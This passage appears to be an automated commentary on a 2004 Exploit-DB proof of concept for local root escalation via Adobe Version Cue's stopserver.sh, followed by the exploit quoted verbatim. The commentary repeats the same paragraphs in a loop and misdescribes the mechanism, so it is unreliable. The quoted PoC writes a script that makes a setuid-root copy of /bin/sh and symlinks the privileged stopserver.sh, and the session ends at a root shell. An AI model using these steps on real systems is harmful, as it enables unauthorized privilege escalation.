theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker creatingproductname.shand then creating a symlink to the originalstopserver.sh. When the attacker then runs./stopserver.sh, they are running the original script. The exploit must be within the originalstopserver.shthat allows it to be tricked into running commands with elevated privileges, or the original script itself is flawed. The provided commands do not show the attacker replacing the originalstopserver.shwith theirproductname.sh. Instead, they create a symlink namedstopserver.shthat points to the original. The subsequent execution of./stopserver.shwould then run the original script. The exploit must be in the originalstopserver.shscript's logic, which is not fully shown here. The providedproductname.shis not executed by thestopserver.shscript itself. The attacker manually executesproductname.shlater. Theln -scommand is likely a red herring or a misinterpretation in the provided PoC if the goal was to havestopserver.shexecuteproductname.sh. The actual exploit mechanism relies on the originalstopserver.shscript's internal logic. The PoC shows the attacker
- Purpose: Creates a symbolic link named
Original Exploit-DB Content (Verbatim)
Proof of concept:
haven:~ fintler$ cd ~
haven:~ fintler$ id
uid=502(fintler) gid=500(fintler) groups=500(fintler)
haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755
/Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh
haven:~ fintler$ chmod 0755 ./productname.sh
haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh .
haven:~ fintler$ ./stopserver.sh
Stopping ...
./stopserver.sh: line 21: ./tomcat/bin/shutdown.sh: No such file or directory
No matching processes belonging to you were found
haven:~ fintler$ ./sh
sh-2.05b# id
uid=502(fintler) euid=0(root) gid=500(fintler) groups=500(fintler)
sh-2.05b# whoami
root
sh-2.05b#
# milw0rm.com [2004-12-08]